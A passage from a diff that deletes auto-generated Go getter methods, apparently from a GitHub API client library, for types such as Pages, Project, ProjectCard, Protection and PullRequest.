GetID returns the ID field if it's non-nil, zero value otherwise. -func (p *PageBuildEvent) GetID() int64 { - if p == nil || p.ID == nil { - return 0 - } - return *p.ID -} - -// GetInstallation returns the Installation field. -func (p *PageBuildEvent) GetInstallation() *Installation { - if p == nil { - return nil - } - return p.Installation -} - -// GetRepo returns the Repo field. -func (p *PageBuildEvent) GetRepo() *Repository { - if p == nil { - return nil - } - return p.Repo -} - -// GetSender returns the Sender field. -func (p *PageBuildEvent) GetSender() *User { - if p == nil { - return nil - } - return p.Sender -} - -// GetCNAME returns the CNAME field if it's non-nil, zero value otherwise. -func (p *Pages) GetCNAME() string { - if p == nil || p.CNAME == nil { - return "" - } - return *p.CNAME -} - -// GetCustom404 returns the Custom404 field if it's non-nil, zero value otherwise. -func (p *Pages) GetCustom404() bool { - if p == nil || p.Custom404 == nil { - return false - } - return *p.Custom404 -} - -// GetHTMLURL returns the HTMLURL field if it's non-nil, zero value otherwise. -func (p *Pages) GetHTMLURL() string { - if p == nil || p.HTMLURL == nil { - return "" - } - return *p.HTMLURL -} - -// GetSource returns the Source field. -func (p *Pages) GetSource() *PagesSource { - if p == nil { - return nil - } - return p.Source -} - -// GetStatus returns the Status field if it's non-nil, zero value otherwise. -func (p *Pages) GetStatus() string { - if p == nil || p.Status == nil { - return "" - } - return *p.Status -} - -// GetURL returns the URL field if it's non-nil, zero value otherwise. -func (p *Pages) GetURL() string { - if p == nil || p.URL == nil { - return "" - } - return *p.URL -} - -// GetCommit returns the Commit field if it's non-nil, zero value otherwise. -func (p *PagesBuild) GetCommit() string { - if p == nil || p.Commit == nil { - return "" - } - return *p.Commit -} - -// GetCreatedAt returns the CreatedAt field if it's non-nil, zero value otherwise. -func (p *PagesBuild) GetCreatedAt() Timestamp { - if p == nil || p.CreatedAt == nil { - return Timestamp{} - } - return *p.CreatedAt -} - -// GetDuration returns the Duration field if it's non-nil, zero value otherwise. -func (p *PagesBuild) GetDuration() int { - if p == nil || p.Duration == nil { - return 0 - } - return *p.Duration -} - -// GetError returns the Error field. -func (p *PagesBuild) GetError() *PagesError { - if p == nil { - return nil - } - return p.Error -} - -// GetPusher returns the Pusher field. -func (p *PagesBuild) GetPusher() *User { - if p == nil { - return nil - } - return p.Pusher -} - -// GetStatus returns the Status field if it's non-nil, zero value otherwise. -func (p *PagesBuild) GetStatus() string { - if p == nil || p.Status == nil { - return "" - } - return *p.Status -} - -// GetUpdatedAt returns the UpdatedAt field if it's non-nil, zero value otherwise. -func (p *PagesBuild) GetUpdatedAt() Timestamp { - if p == nil || p.UpdatedAt == nil { - return Timestamp{} - } - return *p.UpdatedAt -} - -// GetURL returns the URL field if it's non-nil, zero value otherwise. -func (p *PagesBuild) GetURL() string { - if p == nil || p.URL == nil { - return "" - } - return *p.URL -} - -// GetMessage returns the Message field if it's non-nil, zero value otherwise. -func (p *PagesError) GetMessage() string { - if p == nil || p.Message == nil { - return "" - } - return *p.Message -} - -// GetBranch returns the Branch field if it's non-nil, zero value otherwise. -func (p *PagesSource) GetBranch() string { - if p == nil || p.Branch == nil { - return "" - } - return *p.Branch -} - -// GetPath returns the Path field if it's non-nil, zero value otherwise. -func (p *PagesSource) GetPath() string { - if p == nil || p.Path == nil { - return "" - } - return *p.Path -} - -// GetTotalPages returns the TotalPages field if it's non-nil, zero value otherwise. -func (p *PageStats) GetTotalPages() int { - if p == nil || p.TotalPages == nil { - return 0 - } - return *p.TotalPages -} - -// GetCNAME returns the CNAME field if it's non-nil, zero value otherwise. -func (p *PagesUpdate) GetCNAME() string { - if p == nil || p.CNAME == nil { - return "" - } - return *p.CNAME -} - -// GetSource returns the Source field if it's non-nil, zero value otherwise. -func (p *PagesUpdate) GetSource() string { - if p == nil || p.Source == nil { - return "" - } - return *p.Source -} - -// GetHook returns the Hook field. -func (p *PingEvent) GetHook() *Hook { - if p == nil { - return nil - } - return p.Hook -} - -// GetHookID returns the HookID field if it's non-nil, zero value otherwise. -func (p *PingEvent) GetHookID() int64 { - if p == nil || p.HookID == nil { - return 0 - } - return *p.HookID -} - -// GetInstallation returns the Installation field. -func (p *PingEvent) GetInstallation() *Installation { - if p == nil { - return nil - } - return p.Installation -} - -// GetZen returns the Zen field if it's non-nil, zero value otherwise. -func (p *PingEvent) GetZen() string { - if p == nil || p.Zen == nil { - return "" - } - return *p.Zen -} - -// GetCollaborators returns the Collaborators field if it's non-nil, zero value otherwise. -func (p *Plan) GetCollaborators() int { - if p == nil || p.Collaborators == nil { - return 0 - } - return *p.Collaborators -} - -// GetFilledSeats returns the FilledSeats field if it's non-nil, zero value otherwise. -func (p *Plan) GetFilledSeats() int { - if p == nil || p.FilledSeats == nil { - return 0 - } - return *p.FilledSeats -} - -// GetName returns the Name field if it's non-nil, zero value otherwise. -func (p *Plan) GetName() string { - if p == nil || p.Name == nil { - return "" - } - return *p.Name -} - -// GetPrivateRepos returns the PrivateRepos field if it's non-nil, zero value otherwise. -func (p *Plan) GetPrivateRepos() int { - if p == nil || p.PrivateRepos == nil { - return 0 - } - return *p.PrivateRepos -} - -// GetSeats returns the Seats field if it's non-nil, zero value otherwise. -func (p *Plan) GetSeats() int { - if p == nil || p.Seats == nil { - return 0 - } - return *p.Seats -} - -// GetSpace returns the Space field if it's non-nil, zero value otherwise. -func (p *Plan) GetSpace() int { - if p == nil || p.Space == nil { - return 0 - } - return *p.Space -} - -// GetConfigURL returns the ConfigURL field if it's non-nil, zero value otherwise. -func (p *PreReceiveHook) GetConfigURL() string { - if p == nil || p.ConfigURL == nil { - return "" - } - return *p.ConfigURL -} - -// GetEnforcement returns the Enforcement field if it's non-nil, zero value otherwise. -func (p *PreReceiveHook) GetEnforcement() string { - if p == nil || p.Enforcement == nil { - return "" - } - return *p.Enforcement -} - -// GetID returns the ID field if it's non-nil, zero value otherwise. -func (p *PreReceiveHook) GetID() int64 { - if p == nil || p.ID == nil { - return 0 - } - return *p.ID -} - -// GetName returns the Name field if it's non-nil, zero value otherwise. -func (p *PreReceiveHook) GetName() string { - if p == nil || p.Name == nil { - return "" - } - return *p.Name -} - -// GetHRef returns the HRef field if it's non-nil, zero value otherwise. -func (p *PRLink) GetHRef() string { - if p == nil || p.HRef == nil { - return "" - } - return *p.HRef -} - -// GetComments returns the Comments field. -func (p *PRLinks) GetComments() *PRLink { - if p == nil { - return nil - } - return p.Comments -} - -// GetCommits returns the Commits field. -func (p *PRLinks) GetCommits() *PRLink { - if p == nil { - return nil - } - return p.Commits -} - -// GetHTML returns the HTML field. -func (p *PRLinks) GetHTML() *PRLink { - if p == nil { - return nil - } - return p.HTML -} - -// GetIssue returns the Issue field. -func (p *PRLinks) GetIssue() *PRLink { - if p == nil { - return nil - } - return p.Issue -} - -// GetReviewComment returns the ReviewComment field. -func (p *PRLinks) GetReviewComment() *PRLink { - if p == nil { - return nil - } - return p.ReviewComment -} - -// GetReviewComments returns the ReviewComments field. -func (p *PRLinks) GetReviewComments() *PRLink { - if p == nil { - return nil - } - return p.ReviewComments -} - -// GetSelf returns the Self field. -func (p *PRLinks) GetSelf() *PRLink { - if p == nil { - return nil - } - return p.Self -} - -// GetStatuses returns the Statuses field. -func (p *PRLinks) GetStatuses() *PRLink { - if p == nil { - return nil - } - return p.Statuses -} - -// GetBody returns the Body field if it's non-nil, zero value otherwise. -func (p *Project) GetBody() string { - if p == nil || p.Body == nil { - return "" - } - return *p.Body -} - -// GetColumnsURL returns the ColumnsURL field if it's non-nil, zero value otherwise. -func (p *Project) GetColumnsURL() string { - if p == nil || p.ColumnsURL == nil { - return "" - } - return *p.ColumnsURL -} - -// GetCreatedAt returns the CreatedAt field if it's non-nil, zero value otherwise. -func (p *Project) GetCreatedAt() Timestamp { - if p == nil || p.CreatedAt == nil { - return Timestamp{} - } - return *p.CreatedAt -} - -// GetCreator returns the Creator field. -func (p *Project) GetCreator() *User { - if p == nil { - return nil - } - return p.Creator -} - -// GetHTMLURL returns the HTMLURL field if it's non-nil, zero value otherwise. -func (p *Project) GetHTMLURL() string { - if p == nil || p.HTMLURL == nil { - return "" - } - return *p.HTMLURL -} - -// GetID returns the ID field if it's non-nil, zero value otherwise. -func (p *Project) GetID() int64 { - if p == nil || p.ID == nil { - return 0 - } - return *p.ID -} - -// GetName returns the Name field if it's non-nil, zero value otherwise. -func (p *Project) GetName() string { - if p == nil || p.Name == nil { - return "" - } - return *p.Name -} - -// GetNodeID returns the NodeID field if it's non-nil, zero value otherwise. -func (p *Project) GetNodeID() string { - if p == nil || p.NodeID == nil { - return "" - } - return *p.NodeID -} - -// GetNumber returns the Number field if it's non-nil, zero value otherwise. -func (p *Project) GetNumber() int { - if p == nil || p.Number == nil { - return 0 - } - return *p.Number -} - -// GetOwnerURL returns the OwnerURL field if it's non-nil, zero value otherwise. -func (p *Project) GetOwnerURL() string { - if p == nil || p.OwnerURL == nil { - return "" - } - return *p.OwnerURL -} - -// GetState returns the State field if it's non-nil, zero value otherwise. -func (p *Project) GetState() string { - if p == nil || p.State == nil { - return "" - } - return *p.State -} - -// GetUpdatedAt returns the UpdatedAt field if it's non-nil, zero value otherwise. -func (p *Project) GetUpdatedAt() Timestamp { - if p == nil || p.UpdatedAt == nil { - return Timestamp{} - } - return *p.UpdatedAt -} - -// GetURL returns the URL field if it's non-nil, zero value otherwise. -func (p *Project) GetURL() string { - if p == nil || p.URL == nil { - return "" - } - return *p.URL -} - -// GetArchived returns the Archived field if it's non-nil, zero value otherwise. -func (p *ProjectCard) GetArchived() bool { - if p == nil || p.Archived == nil { - return false - } - return *p.Archived -} - -// GetColumnID returns the ColumnID field if it's non-nil, zero value otherwise. -func (p *ProjectCard) GetColumnID() int64 { - if p == nil || p.ColumnID == nil { - return 0 - } - return *p.ColumnID -} - -// GetColumnName returns the ColumnName field if it's non-nil, zero value otherwise. -func (p *ProjectCard) GetColumnName() string { - if p == nil || p.ColumnName == nil { - return "" - } - return *p.ColumnName -} - -// GetColumnURL returns the ColumnURL field if it's non-nil, zero value otherwise. -func (p *ProjectCard) GetColumnURL() string { - if p == nil || p.ColumnURL == nil { - return "" - } - return *p.ColumnURL -} - -// GetContentURL returns the ContentURL field if it's non-nil, zero value otherwise. -func (p *ProjectCard) GetContentURL() string { - if p == nil || p.ContentURL == nil { - return "" - } - return *p.ContentURL -} - -// GetCreatedAt returns the CreatedAt field if it's non-nil, zero value otherwise. -func (p *ProjectCard) GetCreatedAt() Timestamp { - if p == nil || p.CreatedAt == nil { - return Timestamp{} - } - return *p.CreatedAt -} - -// GetCreator returns the Creator field. -func (p *ProjectCard) GetCreator() *User { - if p == nil { - return nil - } - return p.Creator -} - -// GetID returns the ID field if it's non-nil, zero value otherwise. -func (p *ProjectCard) GetID() int64 { - if p == nil || p.ID == nil { - return 0 - } - return *p.ID -} - -// GetNodeID returns the NodeID field if it's non-nil, zero value otherwise. -func (p *ProjectCard) GetNodeID() string { - if p == nil || p.NodeID == nil { - return "" - } - return *p.NodeID -} - -// GetNote returns the Note field if it's non-nil, zero value otherwise. -func (p *ProjectCard) GetNote() string { - if p == nil || p.Note == nil { - return "" - } - return *p.Note -} - -// GetPreviousColumnName returns the PreviousColumnName field if it's non-nil, zero value otherwise. -func (p *ProjectCard) GetPreviousColumnName() string { - if p == nil || p.PreviousColumnName == nil { - return "" - } - return *p.PreviousColumnName -} - -// GetProjectID returns the ProjectID field if it's non-nil, zero value otherwise. -func (p *ProjectCard) GetProjectID() int64 { - if p == nil || p.ProjectID == nil { - return 0 - } - return *p.ProjectID -} - -// GetProjectURL returns the ProjectURL field if it's non-nil, zero value otherwise. -func (p *ProjectCard) GetProjectURL() string { - if p == nil || p.ProjectURL == nil { - return "" - } - return *p.ProjectURL -} - -// GetUpdatedAt returns the UpdatedAt field if it's non-nil, zero value otherwise. -func (p *ProjectCard) GetUpdatedAt() Timestamp { - if p == nil || p.UpdatedAt == nil { - return Timestamp{} - } - return *p.UpdatedAt -} - -// GetURL returns the URL field if it's non-nil, zero value otherwise. -func (p *ProjectCard) GetURL() string { - if p == nil || p.URL == nil { - return "" - } - return *p.URL -} - -// GetAction returns the Action field if it's non-nil, zero value otherwise. -func (p *ProjectCardEvent) GetAction() string { - if p == nil || p.Action == nil { - return "" - } - return *p.Action -} - -// GetAfterID returns the AfterID field if it's non-nil, zero value otherwise. -func (p *ProjectCardEvent) GetAfterID() int64 { - if p == nil || p.AfterID == nil { - return 0 - } - return *p.AfterID -} - -// GetChanges returns the Changes field. -func (p *ProjectCardEvent) GetChanges() *ProjectCardChange { - if p == nil { - return nil - } - return p.Changes -} - -// GetInstallation returns the Installation field. -func (p *ProjectCardEvent) GetInstallation() *Installation { - if p == nil { - return nil - } - return p.Installation -} - -// GetOrg returns the Org field. -func (p *ProjectCardEvent) GetOrg() *Organization { - if p == nil { - return nil - } - return p.Org -} - -// GetProjectCard returns the ProjectCard field. -func (p *ProjectCardEvent) GetProjectCard() *ProjectCard { - if p == nil { - return nil - } - return p.ProjectCard -} - -// GetRepo returns the Repo field. -func (p *ProjectCardEvent) GetRepo() *Repository { - if p == nil { - return nil - } - return p.Repo -} - -// GetSender returns the Sender field. -func (p *ProjectCardEvent) GetSender() *User { - if p == nil { - return nil - } - return p.Sender -} - -// GetArchivedState returns the ArchivedState field if it's non-nil, zero value otherwise. -func (p *ProjectCardListOptions) GetArchivedState() string { - if p == nil || p.ArchivedState == nil { - return "" - } - return *p.ArchivedState -} - -// GetArchived returns the Archived field if it's non-nil, zero value otherwise. -func (p *ProjectCardOptions) GetArchived() bool { - if p == nil || p.Archived == nil { - return false - } - return *p.Archived -} - -// GetPermission returns the Permission field if it's non-nil, zero value otherwise. -func (p *ProjectCollaboratorOptions) GetPermission() string { - if p == nil || p.Permission == nil { - return "" - } - return *p.Permission -} - -// GetCardsURL returns the CardsURL field if it's non-nil, zero value otherwise. -func (p *ProjectColumn) GetCardsURL() string { - if p == nil || p.CardsURL == nil { - return "" - } - return *p.CardsURL -} - -// GetCreatedAt returns the CreatedAt field if it's non-nil, zero value otherwise. -func (p *ProjectColumn) GetCreatedAt() Timestamp { - if p == nil || p.CreatedAt == nil { - return Timestamp{} - } - return *p.CreatedAt -} - -// GetID returns the ID field if it's non-nil, zero value otherwise. -func (p *ProjectColumn) GetID() int64 { - if p == nil || p.ID == nil { - return 0 - } - return *p.ID -} - -// GetName returns the Name field if it's non-nil, zero value otherwise. -func (p *ProjectColumn) GetName() string { - if p == nil || p.Name == nil { - return "" - } - return *p.Name -} - -// GetNodeID returns the NodeID field if it's non-nil, zero value otherwise. -func (p *ProjectColumn) GetNodeID() string { - if p == nil || p.NodeID == nil { - return "" - } - return *p.NodeID -} - -// GetProjectURL returns the ProjectURL field if it's non-nil, zero value otherwise. -func (p *ProjectColumn) GetProjectURL() string { - if p == nil || p.ProjectURL == nil { - return "" - } - return *p.ProjectURL -} - -// GetUpdatedAt returns the UpdatedAt field if it's non-nil, zero value otherwise. -func (p *ProjectColumn) GetUpdatedAt() Timestamp { - if p == nil || p.UpdatedAt == nil { - return Timestamp{} - } - return *p.UpdatedAt -} - -// GetURL returns the URL field if it's non-nil, zero value otherwise. -func (p *ProjectColumn) GetURL() string { - if p == nil || p.URL == nil { - return "" - } - return *p.URL -} - -// GetAction returns the Action field if it's non-nil, zero value otherwise. -func (p *ProjectColumnEvent) GetAction() string { - if p == nil || p.Action == nil { - return "" - } - return *p.Action -} - -// GetAfterID returns the AfterID field if it's non-nil, zero value otherwise. -func (p *ProjectColumnEvent) GetAfterID() int64 { - if p == nil || p.AfterID == nil { - return 0 - } - return *p.AfterID -} - -// GetChanges returns the Changes field. -func (p *ProjectColumnEvent) GetChanges() *ProjectColumnChange { - if p == nil { - return nil - } - return p.Changes -} - -// GetInstallation returns the Installation field. -func (p *ProjectColumnEvent) GetInstallation() *Installation { - if p == nil { - return nil - } - return p.Installation -} - -// GetOrg returns the Org field. -func (p *ProjectColumnEvent) GetOrg() *Organization { - if p == nil { - return nil - } - return p.Org -} - -// GetProjectColumn returns the ProjectColumn field. -func (p *ProjectColumnEvent) GetProjectColumn() *ProjectColumn { - if p == nil { - return nil - } - return p.ProjectColumn -} - -// GetRepo returns the Repo field. -func (p *ProjectColumnEvent) GetRepo() *Repository { - if p == nil { - return nil - } - return p.Repo -} - -// GetSender returns the Sender field. -func (p *ProjectColumnEvent) GetSender() *User { - if p == nil { - return nil - } - return p.Sender -} - -// GetAction returns the Action field if it's non-nil, zero value otherwise. -func (p *ProjectEvent) GetAction() string { - if p == nil || p.Action == nil { - return "" - } - return *p.Action -} - -// GetChanges returns the Changes field. -func (p *ProjectEvent) GetChanges() *ProjectChange { - if p == nil { - return nil - } - return p.Changes -} - -// GetInstallation returns the Installation field. -func (p *ProjectEvent) GetInstallation() *Installation { - if p == nil { - return nil - } - return p.Installation -} - -// GetOrg returns the Org field. -func (p *ProjectEvent) GetOrg() *Organization { - if p == nil { - return nil - } - return p.Org -} - -// GetProject returns the Project field. -func (p *ProjectEvent) GetProject() *Project { - if p == nil { - return nil - } - return p.Project -} - -// GetRepo returns the Repo field. -func (p *ProjectEvent) GetRepo() *Repository { - if p == nil { - return nil - } - return p.Repo -} - -// GetSender returns the Sender field. -func (p *ProjectEvent) GetSender() *User { - if p == nil { - return nil - } - return p.Sender -} - -// GetBody returns the Body field if it's non-nil, zero value otherwise. -func (p *ProjectOptions) GetBody() string { - if p == nil || p.Body == nil { - return "" - } - return *p.Body -} - -// GetName returns the Name field if it's non-nil, zero value otherwise. -func (p *ProjectOptions) GetName() string { - if p == nil || p.Name == nil { - return "" - } - return *p.Name -} - -// GetOrganizationPermission returns the OrganizationPermission field if it's non-nil, zero value otherwise. -func (p *ProjectOptions) GetOrganizationPermission() string { - if p == nil || p.OrganizationPermission == nil { - return "" - } - return *p.OrganizationPermission -} - -// GetPublic returns the Public field if it's non-nil, zero value otherwise. -func (p *ProjectOptions) GetPublic() bool { - if p == nil || p.Public == nil { - return false - } - return *p.Public -} - -// GetState returns the State field if it's non-nil, zero value otherwise. -func (p *ProjectOptions) GetState() string { - if p == nil || p.State == nil { - return "" - } - return *p.State -} - -// GetPermission returns the Permission field if it's non-nil, zero value otherwise. -func (p *ProjectPermissionLevel) GetPermission() string { - if p == nil || p.Permission == nil { - return "" - } - return *p.Permission -} - -// GetUser returns the User field. -func (p *ProjectPermissionLevel) GetUser() *User { - if p == nil { - return nil - } - return p.User -} - -// GetAllowDeletions returns the AllowDeletions field. -func (p *Protection) GetAllowDeletions() *AllowDeletions { - if p == nil { - return nil - } - return p.AllowDeletions -} - -// GetAllowForcePushes returns the AllowForcePushes field. -func (p *Protection) GetAllowForcePushes() *AllowForcePushes { - if p == nil { - return nil - } - return p.AllowForcePushes -} - -// GetEnforceAdmins returns the EnforceAdmins field. -func (p *Protection) GetEnforceAdmins() *AdminEnforcement { - if p == nil { - return nil - } - return p.EnforceAdmins -} - -// GetRequiredPullRequestReviews returns the RequiredPullRequestReviews field. -func (p *Protection) GetRequiredPullRequestReviews() *PullRequestReviewsEnforcement { - if p == nil { - return nil - } - return p.RequiredPullRequestReviews -} - -// GetRequiredStatusChecks returns the RequiredStatusChecks field. -func (p *Protection) GetRequiredStatusChecks() *RequiredStatusChecks { - if p == nil { - return nil - } - return p.RequiredStatusChecks -} - -// GetRequireLinearHistory returns the RequireLinearHistory field. -func (p *Protection) GetRequireLinearHistory() *RequireLinearHistory { - if p == nil { - return nil - } - return p.RequireLinearHistory -} - -// GetRestrictions returns the Restrictions field. -func (p *Protection) GetRestrictions() *BranchRestrictions { - if p == nil { - return nil - } - return p.Restrictions -} - -// GetAllowDeletions returns the AllowDeletions field if it's non-nil, zero value otherwise. -func (p *ProtectionRequest) GetAllowDeletions() bool { - if p == nil || p.AllowDeletions == nil { - return false - } - return *p.AllowDeletions -} - -// GetAllowForcePushes returns the AllowForcePushes field if it's non-nil, zero value otherwise. -func (p *ProtectionRequest) GetAllowForcePushes() bool { - if p == nil || p.AllowForcePushes == nil { - return false - } - return *p.AllowForcePushes -} - -// GetRequiredPullRequestReviews returns the RequiredPullRequestReviews field. -func (p *ProtectionRequest) GetRequiredPullRequestReviews() *PullRequestReviewsEnforcementRequest { - if p == nil { - return nil - } - return p.RequiredPullRequestReviews -} - -// GetRequiredStatusChecks returns the RequiredStatusChecks field. -func (p *ProtectionRequest) GetRequiredStatusChecks() *RequiredStatusChecks { - if p == nil { - return nil - } - return p.RequiredStatusChecks -} - -// GetRequireLinearHistory returns the RequireLinearHistory field if it's non-nil, zero value otherwise. -func (p *ProtectionRequest) GetRequireLinearHistory() bool { - if p == nil || p.RequireLinearHistory == nil { - return false - } - return *p.RequireLinearHistory -} - -// GetRestrictions returns the Restrictions field. -func (p *ProtectionRequest) GetRestrictions() *BranchRestrictionsRequest { - if p == nil { - return nil - } - return p.Restrictions -} - -// GetInstallation returns the Installation field. -func (p *PublicEvent) GetInstallation() *Installation { - if p == nil { - return nil - } - return p.Installation -} - -// GetRepo returns the Repo field. -func (p *PublicEvent) GetRepo() *Repository { - if p == nil { - return nil - } - return p.Repo -} - -// GetSender returns the Sender field. -func (p *PublicEvent) GetSender() *User { - if p == nil { - return nil - } - return p.Sender -} - -// GetKey returns the Key field if it's non-nil, zero value otherwise. -func (p *PublicKey) GetKey() string { - if p == nil || p.Key == nil { - return "" - } - return *p.Key -} - -// GetKeyID returns the KeyID field if it's non-nil, zero value otherwise. -func (p *PublicKey) GetKeyID() string { - if p == nil || p.KeyID == nil { - return "" - } - return *p.KeyID -} - -// GetActiveLockReason returns the ActiveLockReason field if it's non-nil, zero value otherwise. -func (p *PullRequest) GetActiveLockReason() string { - if p == nil || p.ActiveLockReason == nil { - return "" - } - return *p.ActiveLockReason -} - -// GetAdditions returns the Additions field if it's non-nil, zero value otherwise. -func (p *PullRequest) GetAdditions() int { - if p == nil || p.Additions == nil { - return 0 - } - return *p.Additions -} - -// GetAssignee returns the Assignee field. -func (p *PullRequest) GetAssignee() *User { - if p == nil { - return nil - } - return p.Assignee -} - -// GetAuthorAssociation returns the AuthorAssociation field if it's non-nil, zero value otherwise. -func (p *PullRequest) GetAuthorAssociation() string { - if p == nil || p.AuthorAssociation == nil { - return "" - } - return *p.AuthorAssociation -} - -// GetBase returns the Base field. -func (p *PullRequest) GetBase() *PullRequestBranch { - if p == nil { - return nil - } - return p.Base -} - -// GetBody returns the Body field if it's non-nil, zero value otherwise. -func (p *PullRequest) GetBody() string { - if p == nil || p.Body == nil { - return "" - } - return *p.Body -} - -// GetChangedFiles returns the ChangedFiles field if it's non-nil, zero value otherwise. -func (p *PullRequest) GetChangedFiles() int { - if p == nil || p.ChangedFiles == nil { - return 0 - } - return *p.ChangedFiles -} - -// GetClosedAt returns the ClosedAt field if it's non-nil, zero value otherwise. -func (p *PullRequest) GetClosedAt() time.Time { - if p == nil || p.ClosedAt == nil { - return time.Time{} - } - return *p.ClosedAt -} - -// GetComments returns the Comments field if it's non-nil, zero value otherwise. -func (p *PullRequest) GetComments() int { - if p == nil || p.Comments == nil { - return 0 - } - return *p.Comments -} - -// GetCommentsURL returns the CommentsURL field if it's non-nil, zero value otherwise. -func (p *PullRequest) GetCommentsURL() string { - if p == nil || p.CommentsURL == nil { - return "" - } - return *p.CommentsURL -} - -// GetCommits returns the Commits field if it's non-nil, zero value otherwise. -func (p *PullRequest) GetCommits() int { - if p == nil || p.Commits == nil { - return 0 - } - return *p.Commits -} - -// GetCommitsURL returns the CommitsURL field if it's non-nil, zero value otherwise. -func (p *PullRequest) GetCommitsURL() string { - if p == nil || p.CommitsURL == nil { - return "" - } - return *p.CommitsURL -} - -// GetCreatedAt returns the CreatedAt field if it's non-nil, zero value otherwise. -func (p *PullRequest) GetCreatedAt() time.Time { - if p == nil || p.CreatedAt == nil { - return time.Time{} - } - return *p.CreatedAt -} - -// GetDeletions returns the Deletions field if it's non-nil, zero value otherwise. -func (p *PullRequest) GetDeletions() int { - if p == nil || p.Deletions == nil { - return 0 - } - return *p.Deletions -} - -// GetDiffURL returns the DiffURL field if it's non-nil, zero value otherwise. -func (p *PullRequest) GetDiffURL() string { - if p == nil || p.DiffURL == nil { - return "" - } - return *p.DiffURL -} - -// GetDraft returns the Draft field if it's non-nil, zero value otherwise. -func (p *PullRequest) GetDraft() bool { - if p == nil || p.Draft == nil { - return false - } - return *p.Draft -} - -// GetHead returns the Head field. -func (p *PullRequest) GetHead() *PullRequestBranch { - if p == nil { - return nil - } - return p.Head -} - -// GetHTMLURL returns the HTMLURL field if it's non-nil, zero value otherwise. -func (p *PullRequest) GetHTMLURL() string { - if p == nil || p.HTMLURL == nil { - return "" - } - return *p.HTMLURL -} - -// GetID returns the ID field if it's non-nil, zero value otherwise. -func (p *PullRequest) GetID() int64 { - if p == nil || p.ID == nil { - return 0 - } - return *p.ID -} - -// GetIssueURL returns the IssueURL field if it's non-nil, zero value otherwise. -func (p *PullRequest) GetIssueURL() string { - if p == nil || p.IssueURL == nil { - return "" - } - return *p.IssueURL -} - -// GetLinks returns the Links field. -func (p *PullRequest) GetLinks() *PRLinks { - if p == nil { - return nil - } - return p.Links -} - -// GetLocked returns the Locked field if it's non-nil, zero value otherwise. -func (p *PullRequest) GetLocked() bool { - if p == nil || p.Locked == nil { - return false - } - return *p.Locked -} - -// GetMaintainerCanModify returns the MaintainerCanModify field if it's non-nil, zero value otherwise. -func (p *PullRequest) GetMaintainerCanModify() bool { - if p == nil || p.MaintainerCanModify == nil { - return false - } - return *p.MaintainerCanModify -} - -// GetMergeable returns the Mergeable field if it's non-nil, zero value otherwise. -func (p *PullRequest) GetMergeable() bool { - if p == nil || p.Mergeable == nil { - return false - } - return *p.Mergeable -} - -// GetMergeableState returns the MergeableState field if it's non-nil, zero value otherwise. -func (p *PullRequest) GetMergeableState() string { - if p == nil || p.MergeableState == nil { - return "" - } - return *p.MergeableState -} - -// GetMergeCommitSHA returns the MergeCommitSHA field if it's non-nil, zero value otherwise. -func (p *PullRequest) GetMergeCommitSHA() string { - if p == nil || p.MergeCommitSHA == nil { - return "" - } - return *p.MergeCommitSHA -} - -// GetMerged returns the Merged field if it's non-nil, zero value otherwise. -func (p *PullRequest) GetMerged() bool { - if p == nil || p.Merged == nil { - return false - } - return *p.Merged -} - -// GetMergedAt returns the MergedAt field if it's non-nil, zero value otherwise. -func (p *PullRequest) GetMergedAt() time.Time { - if p == nil || p.MergedAt == nil { - return time.Time{} - } - return *p.MergedAt -} - -// GetMergedBy returns the MergedBy field. -func (p *PullRequest) GetMergedBy() *User { - if p == nil { - return nil - } - return p.MergedBy -} - -// GetMilestone returns the Milestone field. -func (p *PullRequest) GetMilestone() *Milestone { - if p == nil { - return nil - } - return p.Milestone -} - -// GetNodeID returns the NodeID field if it's non-nil, zero value otherwise. -func (p *PullRequest) GetNodeID() string { - if p == nil || p.NodeID == nil { - return "" - } - return *p.NodeID -} - -// GetNumber returns the Number field if it's non-nil, zero value otherwise. -func (p *PullRequest) GetNumber() int { - if p == nil || p.Number == nil { - return 0 - } - return *p.Number -} - -// GetPatchURL returns the PatchURL field if it's non-nil, zero value otherwise. -func (p *PullRequest) GetPatchURL() string { - if p == nil || p.PatchURL == nil { - return "" - } - return *p.PatchURL -} - -// GetRebaseable returns the Rebaseable field if it's non-nil, zero value otherwise. -func (p *PullRequest) GetRebaseable() bool { - if p == nil || p.Rebaseable == nil { - return false - } - return *p.Rebaseable -} - -// GetReviewComments returns the ReviewComments field if it's non-nil, zero value otherwise. -func (p *PullRequest) GetReviewComments() int { - if p == nil || p.ReviewComments == nil { - return 0 - } - return *p.ReviewComments -} - -// GetReviewCommentsURL returns the ReviewCommentsURL field if it's non-nil, zero value otherwise. -func (p *PullRequest) GetReviewCommentsURL() string { - if p == nil || p.ReviewCommentsURL == nil { - return "" - } - return *p.ReviewCommentsURL -} - -// GetReviewCommentURL returns the ReviewCommentURL field if it's non-nil, zero value otherwise. -func (p *PullRequest) GetReviewCommentURL() string { - if p == nil || p.ReviewCommentURL == nil { - return "" - } - return *p.ReviewCommentURL -} - -// GetState returns the State field if it's non-nil, zero value otherwise. -func (p *PullRequest) GetState() string { - if p == nil || p.State == nil { - return "" - } - return *p.State -} - -// GetStatusesURL returns the StatusesURL field if it's non-nil, zero value otherwise. -func (p *PullRequest) GetStatusesURL() string { - if p == nil || p.StatusesURL == nil { - return "" - } - return *p.StatusesURL -} - -// GetTitle returns the Title field if it's non-nil, zero value otherwise. -func (p *PullRequest) GetTitle() string { - if p == nil || p.Title == nil { - return "" - } - return *p.Title -} - -// GetUpdatedAt returns the UpdatedAt field if it's non-nil, zero value otherwise. -func (p *PullRequest) GetUpdatedAt() time.Time { - if p == nil || p.UpdatedAt == nil { - return time.Time{} - } - return *p.UpdatedAt -} - -// GetURL returns the URL field if it's non-nil, zero value otherwise. -func (p *PullRequest) GetURL() string { - if p == nil || p.URL == nil { - return "" - } - return *p.URL -} - -// GetUser returns the User field. -func (p *PullRequest) GetUser() *User { - if p == nil { - return nil - } - return p.User -} - -// GetLabel returns the Label field if it's non-nil, zero value otherwise. -func (p *PullRequestBranch) GetLabel() string { - if p == nil || p.Label == nil { - return "" - } - return *p.Label -} - -// GetRef returns the Ref field if it's non-nil, zero value otherwise. -func (p *PullRequestBranch) GetRef() string { - if p == nil || p.Ref == nil { - return "" - } - return *p.Ref -} - -// GetRepo returns the Repo field. -func (p *PullRequestBranch) GetRepo() *Repository { - if p == nil { - return nil - } - return p.Repo -} - -// GetSHA returns the SHA field if it's non-nil, zero value otherwise. -func (p *PullRequestBranch) GetSHA() string { - if p == nil || p.SHA == nil { - return "" - } - return *p.SHA -} - -// GetUser returns the User field. -func (p *PullRequestBranch) GetUser() *User { - if p == nil { - return nil - } - return p.User -} - -// GetExpectedHeadSHA returns the ExpectedHeadSHA field if 